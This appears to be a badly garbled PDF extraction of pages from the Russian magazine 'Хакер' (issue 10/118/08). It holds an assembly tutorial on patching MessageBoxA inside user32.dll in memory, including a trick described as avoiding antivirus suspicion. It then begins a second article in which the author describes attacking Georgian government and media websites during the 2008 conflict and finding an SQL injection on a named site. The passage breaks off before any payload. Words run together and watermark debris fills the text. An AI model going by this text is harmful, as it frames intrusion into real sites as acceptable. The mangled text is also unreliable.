Попробуемвнедритьсявтелоdll,загруженнойпроцессом,иизменитьее, чтоназывается,«изнутри».Отлаживатьбудемфайлик,которыйвызывает API-функциюMessageBoxA.Тыможешьнайтипрограмму,которую отлаживаля,нанашемDVD,новообще,подойдетлюбой.Попробуем поменятьместамипараметры,которыепринимаетфункция.Сначала взглянемнаних,протрассировавпо<F7>доинструкции«call user32. MessageBoxA»ипопаввтелобиблиотеки user32.dll:
PUSH 0 |
;LanguageID = 0 |
|
|
062 |
xàêåð 10 /118/ 08 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
||
|
|
X |
|
|
|
|
|
|
|
|
|
|
||
|
- |
|
|
|
|
d |
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
||
P |
|
|
|
|
|
NOW! |
o |
ApplicationApplicationrogrammingprogramminginterfaceinterface |
|
|
||||
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
BUY |
|
|
|
||||||
w Click |
to |
|
|
|
|
|
|
Application programming |
interface |
|
||||
|
|
|
|
m |
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
programmingApplicationinterfaceprogramming interface |
|||
|
. |
df-xchaApplicationn |
||||||||||||
|
|
|
|
|
.c |
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
||
|
|
|
X |
|
|
|
|
||
|
|
- |
|
|
|
d |
|
||
|
|
F |
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
NOW! |
o |
||
>> взломto BUY |
|
|
|||||||
|
|
|
|
||||||
|
w Click |
|
|
|
|
m |
|||
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
o |
|
|
Applicationdf-xprogrchan |
||||||||
|
|
. |
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
g |
|
|
|
|
|
|
|
|
|
e |
|
face
pplica
|
|
|
|
|
|
|
|
|
|
|||
pplica |
|
|
lce |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
pplica |
|
|
l |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
face |
|
|
|
|
|
|
|
|
|
|||
face |
|
|
|
|
|
|||||||
|
Функция уже перенесена в секцию кода, но нуждается в патчинге |
|
Вот что рассказала нам Microsoft о функции VirtualProtect |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
—размерэтойобластипамяти(внашемслучае—8байт).Третий—байт- |
|||||
|
|
|
PUSH DWORD PTR SS:[EBP+14] |
;|Style |
|
|||||||
|
|
|
PUSH DWORD PTR SS:[EBP+10] |
;|Title |
|
код,представляющийсобойновыеатрибутыдляобластипамяти.Из |
||||||
|
|
|
PUSH DWORD PTR SS:[EBP+C] |
; |Text |
|
справочнойлитературыилиспомощьютакойутилиты,какLordPE, |
||||||
|
|
|
PUSH DWORD PTR SS:[EBP+8] |
; |hOwner |
|
узнаем,чтозначение,соответствующееатрибуту«RWE»,будетравно40h. |
||||||
|
|
|
CALL user32.MessageBoxExA |
; MessageBoxExA |
|
Наконец,последнийпараметр—этоуказательнапеременную,которая |
||||||
|
|
|
|
|
|
|
|
содержитстарыеатрибуты.Вкачествеэтогопараметравстекможно |
||||
|
|
|
Поменяемместамиатрибуты«Title»и«Text»(тоестьзаголовококнаиего |
положитьлюбойадрес,покоторомунаходитсянулеваяпеременная.Я |
||||||||
|
|
|
текст).Дляэтогопростопоменяеминструкцию,расположеннуюпоадресу |
выбраладрес00401060.Естественно,встеквсепараметрыкладутся, |
||||||||
|
|
|
7E3A05C1наинструкцию,котораянаходитсяпоадресу7E3A05C7,—и |
начинаяспоследнего. |
|
|
|
|||||
|
|
|
наоборот.Ядумаю,тызнаешь,чтовнестинеобходимыеизменениямож- |
Чутьраньшемыполучилимашинныйкодизмененныхбиблиотечныхинс- |
||||||||
|
|
|
новокне,котороепоявляетсяподвойномущелчкулевойкнопкимыши |
трукций.Поместимихвтеленашейпрограммы.Выделяйвосемьбайт, |
||||||||
|
|
|
нанужнойкоманде.Теперьвыделимтриинструкции,начинаясадреса |
начинаясадреса00401100,инажимай<ctrl+e>.Послечеговнижнем |
||||||||
|
|
|
7E3A05C1,иизменюправойкнопкимышивыберем«BinaryBinary |
полепоявившегосяокнавписывайсохраненныенамиранеезначе- |
||||||||
|
|
|
copy»дляполучениямашинныхкодовизмененныхинструкций(почему |
ния.Подтверждайизменениянажатиемнакнопку«Ok».Самоевремя |
||||||||
|
|
|
триинструкции,анедве,яобъяснюпозже). |
написатькод,которыйбудет«патчить»системнуюбиблиотеку.Здесьвсе |
||||||||
|
|
|
Вбуферобменабудетпомещенследующийкод:FF 75 0C FF 75 10 FF |
предельнопросто:врегистрEAXприпомощикомандыMOVбудемпоме- |
||||||||
|
|
|
75 08.Последнийбайтнамненужен,—егоотрезаем.Останетсявосемь |
щатьданные,которыенеобходимозаписатьповерхоригинальногокода |
||||||||
|
|
|
необходимыхнамбайт.Второезначение,котороепонадобитсявходе |
API-функции.ВрегистрEBXспомощьютойжеинструкцииMOVположим |
||||||||
|
|
|
выполнениязадачи:адрес,начинаяскоторогоразмещеныизмененные |
адрес,покоторомубудемпроизводитьзапись(егомытакжеполучили |
||||||||
|
|
|
инструкции:7E3A05C1. |
|
|
|
|
ранее,—7E3A05C1).Производитьзаписьбудемприпомощиинструкции |
||||
|
|
|
Итак,почемужемыскопировалимашинныйкод,состоящийизвосьми |
MOV [EBX], EAX.Послеэтихманипуляцийнеобходимовызватьфункцию |
||||||||
|
|
|
байт,хотямодифицировалиинструкциитольковпределахшестибайт? |
MessageBoxA,котораябыламодифицирована,ипередатьуправление |
||||||||
|
|
|
Всеоченьпросто—оперироватьсданнымимыбудем,используячеты- |
наинструкцию,следующуюсразузакомандойбезусловногопереходана |
||||||||
|
|
|
рехбайтныерегистры.Соответственно,иписатьвпамятьмыбудемпо4 |
нашкод.Последнеезамечание—необходимосохранитьвсерегистры |
||||||||
|
|
|
байта.Минимальноечисло,кратноечетыремибольшешести,—вось- |
передначаломвыполнениянашегокодаивозвратитьихвисходноесо- |
||||||||
|
|
|
мерка. |
|
|
|
|
стояниепослееговыполненияприпомощипарыкомандpushad/popad. |
||||
|
|
|
|
|
|
|||||||
|
|
|
Приступимкмодификациипрограммы. Перезапускаемотлаживаемый |
Врезультатеполучимследующийкод: |
||||||||
|
|
|
процесс.ВызовфункцииMessageBoxA,располагающийсяпоадресу |
|
|
|
|
|
||||
|
|
|
0040100E,заменяемнабезусловныйпереход: jmp 00401026(начиная |
PUSHAD |
|
|
|
|
||||
|
|
|
сэтогоадреса,будетрасполагатьсянаписанныйнамикод).Ксожалению, |
PUSH 00401060 ; указатель на нулевой байт — параметр |
|
|||||||
|
|
|
системныебиблиотеки,располагающиесявконтекстепроцесса,защи- |
"lpflOldProtect" |
|
|
|
|||||
|
|
|
щеныотзаписи(страницыпамяти,вкоторойразмещенаdll,имеютатри- |
MOV EAX,40 ; Помещаем в EAX параметр "flNewProtect", |
|
|||||||
|
|
|
бут«readable»).Намнеобходимовыставитьатрибут«RWE»,—разрешить |
который разрешает запись в область памяти, где распола- |
|
|||||||
|
|
|
записьвобластьпамяти.Легчевсегопроделатьэтоприпомощивызова |
гается наша DLL |
|
|
|
|||||
|
|
|
системнойфункцииVirtualProtectссоответствующимипараметрами, |
PUSH EAX |
; кладем параметр в стек |
|
||||||
|
|
|
переданнымивстек.Вотеепрототип: |
|
|
|
PUSH 8 |
; параметр dwSize |
|
|||
|
|
|
|
|
|
|
|
PUSH 7E3A05C1 |
; параметр lpAddress |
|
||
|
|
|
function VirtualProtect( |
|
|
|
CALL VirtualProtect |
; вызываем VirtualProtect |
|
|||
|
|
|
lpAddress: Pointer; |
// начальный адрес области памяти |
|
MOV EAX,[401100]; кладем в eax первые 4 байта машинного |
|
|||||
|
|
|
dwSize: DWORD; |
// размер области памяти |
|
кода |
|
|
|
|
||
|
|
|
flNewProtect: DWORD; |
// новые атрибуты защиты |
|
MOV EBX,7E3A05C1 ; адрес, куда запишется машинное слово |
|
|||||
|
|
|
lpflOldProtect: Pointer // указатель на старые атрибуты |
|
MOV [EBX],EAX |
; записываем машинный код в тело API-фун- |
|
|||||
|
|
|
): BOOL; stdcall; overload; |
|
|
|
кции |
|
|
|
|
|
|
|
|
|
|
|
|
|
MOV EAX,[401104] ; помещаем в eax 4 последних байта ма- |
|
|||
|
|
|
Первыйпараметр—адрес,скоторогоначинаетсяобластьпамяти, |
|
||||||||
|
|
|
шинного кода |
|
|
|
|
|||||
|
|
|
атрибутыстраницкоторойподлежатмодификации.Второйпараметр |
MOV EBX,7E3A05C5 ; в ebx помещаем адрес, по которому бу- |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
xàêåð 10 /118/ 08 |
063 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|||||
P |
|
|
|
|
NOW! |
o |
|
|
|
P |
|
|
|
|
NOW! |
o |
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
Application programming interfaceto BUY |
|
||||||||||||||||||
on programmingto BUY >> взломinterface |
|
||||||||||||||||||||||||||
w Click |
|
|
|
|
|
|
|
m |
|
|
|
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
df-xchan |
|
|
|
Application programming interface |
|
w |
|
df-x chan |
|
|
|
|
||||||||||||
|
. |
|
.c |
|
|
. |
|
.c |
|
|
|||||||||||||||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
||
|
|
|
|
|
|
|
|
e |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Application programming |
inter |
erface lication
erface
Applic
inter inter
plica plica
facerface
rface
Этот код изменит функциональность MessageBoxA «на лету», пропатчив библиотеку в памяти |
|
|
|||||
|
|
|
API-функциязанимаетвпамяти48hбайт.Запомним!Такжезапишемна |
||||
|
дет записано машинное слово |
|
|||||
|
MOV [EBX],EAX ; записываем машинный код в тело API-функ- |
|
клочкебумагибазовыйадресфункции—7E3A058A.Код,которыйбудет |
||||
|
ции |
|
считыватьизпамятимашинныйкодAPIиразмещатьеговсекциикода |
||||
|
POPAD; восстанавливаем регистры перед вызовом |
|
программы,расположимпоадресу00401026.Азначит,вызовCALL |
||||
|
MessageBoxA |
|
<JMP.&user32.MessageBoxA> замениминструкциейпереходакна- |
||||
|
CALL MessageBoxA |
|
шемукоду: JMP 00401026.Воткакбудетвыглядетьцикл,копирующий |
||||
|
JMP 00401013 ; переходим к дальнейшему выполнению про- |
|
телоAPIвсекциюкоданашейпрограммы: |
||||
|
граммы |
|
|
|
|
|
|
|
|
|
00401026 |
PUSHAD |
; сохраняем регистры в стек |
||
Послетого,каквведешьего,пронаблюдайрезультатвыполненияпро- |
|||||||
|
00401027 |
MOV EAX,7E3A0588 ; базовый адрес API-функции |
|||||
граммы.ДваатрибутаAPI-функцииMessageBoxAпоменялисьместами, |
|
минус 2 байта |
|
||||
причемврезультатеинлайн-патчингакодабиблиотеки,располагающей- |
|
0040102C |
MOV ECX,48; ecx — счетчик цикла, помещаем в ре- |
||||
сявпамяти. |
|
гистр размер API-функции |
|||||
|
|
|
00401031 |
MOV BX,[EAX+ECX]; помещаем в двухбайтовый ре- |
|||
|
Воровство кода |
|
гистр BX 2 байта из тела API-функции |
||||
|
|
||||||
|
|
||||||
Теперьпредставимнаминуту,чтоунаснетдоступакизменениюатри- |
|
00401035 |
MOV [ECX+401100],BX; записываем содержимое BX в |
||||
бутовстраницпамяти.Пускайдажеиесть,—любойантивирусможет |
|
память по адресу ECX+401100 |
|||||
заподозрить,чтопроцесссовершаеткакую-тогадость,еслиизменяет |
|
0040103C |
SUB ECX,2; уменьшаем значение счетчика на 2 |
||||
параметрыпамяти,гдерасположенасистемнаябиблиотека.Здесь |
|
0040103F |
JNZ 00401031; продолжаем выполнять цикл, если |
||||
придетсяпридуматьнечтоособенное.Япредлагаюперенестиинструк- |
|
ECX не равен нулю |
|
||||
цииAPI-функции,которуюнеобходимопропатчить,всвободнуюобласть |
|
|
|
|
|
||
|
|
|
|
|
|||
секциикоданашейпрограммы.Делаетсяэтоэлементарно:спомощью |
|
Каквидишь,кодпростой,нодамкое-какиекомментарии.Почемумыпо- |
|||||
тойжеинструкцииmov,толькопомещеннойвцикл. |
|
местиливрегистрEAXнебазовыйадрес,абазовыйадрес-2?Впослед- |
|||||
Дляпримерапопробуемперенестивсекциюкодаипропатчитьтуже |
|
нейитерациициклазначениесчетчикаECXбудетравно2,а2+7E3A0588 |
|||||
самуюфункцию,чтомырассматривалиранее,—MessageBoxA.Сначала |
|
идаетбазовыйадрес.Следующиеинструкциипоследовательно,по2 |
|||||
выберемадрес,гдебудетбазироватьсяперемещаемыйкодAPI-функции. |
|
байта,копируюттелоAPI-функции(соответственно,исчетчикмыустано- |
|||||
Пустьэто—00401100.Теперьоткроемужерассмотренныйнамифайл |
|
вилисшагом2—припомощиинструкции«SUB ECX, 2»). |
|||||
ex.exeподOllyDbgипротрассируемкодвплотьдовызоваMessageBoxA |
|
Казалосьбы,всесделано.Нозапусктакогокодаобреченнанеудачу. |
|||||
(кудазайдемпо<F7>).Сделавнесложныйподсчет,определяем,что |
|
Почему?Мыперенеслифункцию,котораяжесткопривязанакбазовому |
064 |
xàêåð 10 /118/ 08 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|||||
|
- |
|
|
|
|
d |
|
|
|
|
|
- |
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
i |
|
|
|
|
|
F |
|
|
|
|
|
i |
|
||
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
t |
|
||||
P |
D |
|
|
|
|
|
|
|
o |
|
|
|
P |
D |
|
|
|
|
|
|
o |
||
|
|
|
NOW! |
r |
Application programming interface |
|
|
|
NOW! |
r |
|||||||||||||
|
|
|
|
to BUY |
|
|
>> взломto BUY |
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
m |
|
|
|
w |
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
o |
Application programming interface |
w Click |
|
|
|
|
o |
||||||||||
|
w |
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|||||
|
. |
|
|
|
|
|
.c |
|
|
. |
|
|
|
|
.c |
|
|||||||
|
|
p |
|
|
|
|
e |
|
|
|
p |
|
|
|
e |
|
|||||||
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
g |
|
|
|
||||||
|
|
|
df-xchan |
|
|
|
|
Applicationdf-xprogrchan |
|||||||||||||||
face |
|
|
|
|
|
|
|
00401046 |
MOV EBX,00401136 ;помещаем в EBX адрес, по кото- |
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
рому будем записывать машинный патч-код |
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
0040104B |
MOV [EBX],EAX ; записываем содержимое регистра |
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
EAX по адресу, помещенному в EBX |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
; аналогично — для второй и третьей инструкций: |
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
0040104D |
MOV EAX,E890006A |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
00401052 |
MOV EBX,0040113F |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
00401057 |
MOV [EBX],EAX |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
00401059 |
MOV EAX,7DF9F4B5 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
0040105E |
MOV EBX,00401143 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
00401063 |
MOV [EBX],EAX |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Патч-коддляинструкции«ret»состоитизпятибайт,арегистр—четы- |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
рехбайтовый.Разобьемоперациюпатчинганадваподхода: |
|
|
|
|
|
|
|
|
|
||
face |
|
|
|
|
|
|
|
00401065 |
MOV EAX,FFFEC6E9 ; помещаем в EAX четыре байта |
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
патч-кода |
|
|
|
|
|
|
|
|
|
|
||||||
face Этот код исправил ситуацию, сделав перенесенную функцию работоспо- |
0040106A |
MOV EBX,00401148 ; помещаем адрес в EBX |
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
собной |
|
0040106F |
MOV [EBX],EAX ; записываем патч-код |
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
00401071 |
MOV EAX,0FF ; помещаем в EAX оставшийся, послед- |
|
|
|
|
|
|||||
|
|
|
|
|
адресу,аэтозначит,чтовызовыиинструкциитипа«ret»становятся |
ний, байт патч-кода |
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
недействительными.Чтобыпридатьперенесенномукодуработоспособ- |
00401076 |
MOV EBX,0040114C ; в EBX помещаем адрес |
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
ность,придетсяегопропатчить.Дляначалаполучиммашинныекоды, |
0040107B |
MOV [EBX],EAX; патчим |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
которыебудем«накладывать»наперемещеннуюAPI-функцию,исправ- |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
ляяпроблемныеместа.Поставьточкуостановапоадресу00401041 |
Кодпочтиготов.ОсталосьвосстановитьрегистрыкомандойPOPADи |
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
изапустипрограммунаисполнение(<F9>).Послесмелопереходипо |
передатьуправлениеперенесеннойвсекциюкодаиисправленнойAPI- |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
адресу00401100,чтобыпосмотреть,какиеобластиперенесенногокода |
функцииMessageBoxA(инструкцией JMP 00401102).Воткаквыглядит |
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
нуждаютсявпатчинге. |
написанныйнамикодцеликом: |
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
Насинтересуютчетыреинструкции,которыемешаютнормальнойработе |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
функции.Первая—командапомещениявстекзаголовкаокна,параметр |
00401026 |
PUSHAD |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
непередается.Воткаквыглядитинструкция: |
00401027 |
MOV EAX,7E3A0588 |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
0040102C |
MOV ECX,48 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
00401136 |
PUSH [EBP+14] |
00401031 |
MOV BX,[EAX+ECX] |
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
00401035 |
MOV [ECX+401100],BX |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Тажеситуация—исинструкцией,передающейпараметр-хэндлроди- |
0040103C |
SUB ECX,2 |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
тельскогоокна. |
0040103F |
JNZ 00401031 |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
00401041 |
MOV EAX,FF90006A |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
0040113F PUSH [EBP+8] |
00401046 |
MOV EBX,00401136 |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
0040104B |
MOV [EBX],EAX |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ОбеэтихкомандыприпатчингебудемзаменятьинструкциейPUSH0. |
0040104D |
MOV EAX,E890006A |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
Машинныйкодэтойинструкциивыглядиткак6A00.Намотаемнаус. |
00401052 |
MOV EBX,0040113F |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
Следующаяинструкция,котораябылаиспорченаприпереносекодаAPI- |
00401057 |
MOV [EBX],EAX |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
функции,—вызовMessageBoxExA:00401142 CALL 00401174. |
00401059 |
MOV EAX,7DF9F4B5 |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
Ее также следует пропатчить! Машинный код, необходимый для этого, |
0040105E |
MOV EBX,00401143 |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
получим так: дважды нажмем на инструкцию, расположенную по адре- |
00401063 |
MOV [EBX],EAX |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
су 00401142, левой кнопкой мыши и в появившемся окне введем «call |
00401065 |
MOV EAX,FFFEC6E9 |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
MessageBoxExA»(без кавычек). После этого нажмем на исправленную |
0040106A |
MOV EBX,00401148 |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
инструкцию правой кнопкой мыши и из контекстного меню выберем |
0040106F |
MOV [EBX],EAX |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
«BinaryBinary copy». Вот полученный четырехбайтный машинный |
00401071 |
MOV EAX,0FF |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
код: E8B5F4F97D. |
00401076 |
MOV EBX,0040114C |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
Последняяинструкция,скоторойследует«разобраться»,—этооперация |
0040107B |
MOV [EBX],EAX |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
возврата: 00401148 RETN 10 |
0040107D |
POPAD |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
Заменимеепереходомкосновномукодупрограммы(«JMP 00401013») |
0040107E |
JMP 00401102 |
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
изатемполучиммашинныекодыэтойинструкцииприпомощитойже |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
команды«BinaryBinarycopy».Кодэтойинструкции:E9C6FEFFFF. |
Есливсебылосделаноправильно,перенесеннаяAPIбудетработать. |
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
Самоевремянаписатькод,которыйбудетсовершатьпатчинг.Еслиучесть, |
Этотметодзамечателентем,чтомыможемкакугодномодифицировать |
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
чтоунасестьмашинныекодыинструкцийиадреса,покоторымнеобходимо |
кодAPI,неимеявозможностиизменитьатрибутыстраницпамяти,где |
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
ихзаписать,тоисправляющийкодбудетвыглядетьоченьпросто.Единст |
расположенасистемнаябиблиотека. |
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
веннаяремарка:впамятьпатч-кодбудетпомещаться«задомнаперед», |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
начинаяс«хвоста»регистраизаканчиваяего«головой».Значит,врегистр |
Конец?! |
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
машинныекодыбудемзаносить,предварительно«перевернувих». |
Естественно, это не конец, ибо существует масса интересных идей. |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
Дляпервыхтрехинструкцийпатч-кодбудетвыглядетьследующим |
Технические возможности огромны, ум реверсера остер, а совер- |
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
образом: |
|
шенных защитных механизмов не существует. О многих методах |
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
патчинга API мы еще расскажем, до других ты, наверняка, додума- |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
00401041 MOV EAX,FF90006A ; помещаем патч-код для первой |
ешься сам. Все зависит только от твоего воображения. Удачи во |
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
инструкции (задом наперед) в регистр EAX |
взломах! z |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
xàêåð 10 /118/ 08 |
|
|
065 |
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
E |
|
|
||||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
||||||
|
|
|
|
|
|
|||||
w Click |
to BUY |
|
>> взлом |
|||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
Леонид «R0id» Стройков
/ stroikov@gameland.ru /
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Forbidden
Нашответ Грузии
Наносим удары по грузинским госпорталам
Ни для кого не секрет, что все политические события находят отражение в Сети. Так было во время нападения террористов на Нальчик в позапрошлом году (вспомним массовые атаки на сервер КавказЦентра). Так произошло и во время августовских событий в Южной Осетии. Кибер-войны стали неотъемлемой частью реальных, кровопролитных, событий. Хорошо это или плохо — каждый решает сам. Но мы, хакеры, решили — что плохо!
ирное распитие пива в сочетании с пролистыванием М башорга было неожиданно прервано экстренными вы-
пусками новостей о ходе развития грузино-осетинского конфликта. Просмотрев новостные ленты и убедившись в
бесполезности уподобления участникам политических баталий, я решил прошерстить несколько государственных и информационных ресурсов в доменной зоне .GE.
Атакуем СМИ
Как известно, ни одно крупномасштабное событие не обходится без участия средств массовой информации. В свою очередь, они активно используют интернет для передачи своего видения происходящего. Да, ты не ослышался, именно «своего видения», ибо каждое СМИ публикует исключительно то, что хочет (или что подсказали). Абсолютно противоположные взгляды российских и западных/грузинских изданий побудили меня глубже вникнуть в ситуацию, со всеми вытекающими отсюда последствиями :). В качестве первого объекта для установления информационного баланса на просторах зоны .GE был выбрал ресурс www.presa.ge. Название домена говорит само за себя, поэтому я не стану описывать контент сайта. Скажу лишь, что, по данным Гугла, портал имеет PR 5. После «Reverse IP» сервера стало понятно, что сайт хостится в Грузии и имеет поддомен pda.presa.ge. Поработав с движком ресурса www.presa.ge, через некоторое время я отыскал типичный sql-инъект, который имел вид:
